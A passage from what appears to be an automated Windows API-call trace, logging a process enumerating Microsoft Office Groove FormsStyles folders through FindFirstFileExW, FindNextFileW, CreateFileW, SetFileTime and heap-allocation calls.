lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11c8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x11c8048, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.840] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.840] NtClose (Handle=0x180) returned 0x0 [0078.840] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.840] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c77e0 [0078.840] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.840] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.840] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c76d8 [0078.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2770 [0078.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11cd618 [0078.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.841] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2790 [0078.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11cd720 [0078.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.842] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.842] GetLastError () returned 0x12 [0078.842] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9140 [0078.842] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.843] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.843] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.843] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.843] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.843] GetLastError () returned 0x12 [0078.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c77e0) returned 1 [0078.843] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c76d8) returned 1 [0078.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.843] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime.css", cAlternateFileName="")) returned 1 [0078.843] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x362, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maroon.css", cAlternateFileName="")) returned 1 [0078.843] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis", cAlternateFileName="")) returned 1 [0078.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.843] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.844] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11c8048 [0078.844] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11c8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x11c8048, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.844] NtClose (Handle=0x170) returned 0x0 [0078.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c76d8 [0078.845] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9140 [0078.845] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.845] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x86c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0078.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c77e0 [0078.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac27b0 [0078.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11cd828 [0078.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.846] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac27d0 [0078.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11cd930 [0078.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.847] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac27f0 [0078.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11cda38 [0078.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.848] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.848] GetLastError () returned 0x12 [0078.848] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.848] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.848] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.848] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x86c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0078.848] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.849] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.849] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.849] GetLastError () returned 0x12 [0078.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c76d8) returned 1 [0078.849] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c77e0) returned 1 [0078.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.849] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis.css", cAlternateFileName="")) returned 1 [0078.849] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6bd79c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OliveGreen.css", cAlternateFileName="")) returned 1 [0078.849] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="Premium.css", cAlternateFileName="")) returned 1 [0078.849] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate", cAlternateFileName="")) returned 1 [0078.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.849] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0078.850] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11c8048 [0078.850] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11c8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x11c8048, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.851] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.851] NtClose (Handle=0x180) returned 0x0 [0078.851] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.851] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c77e0 [0078.851] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft 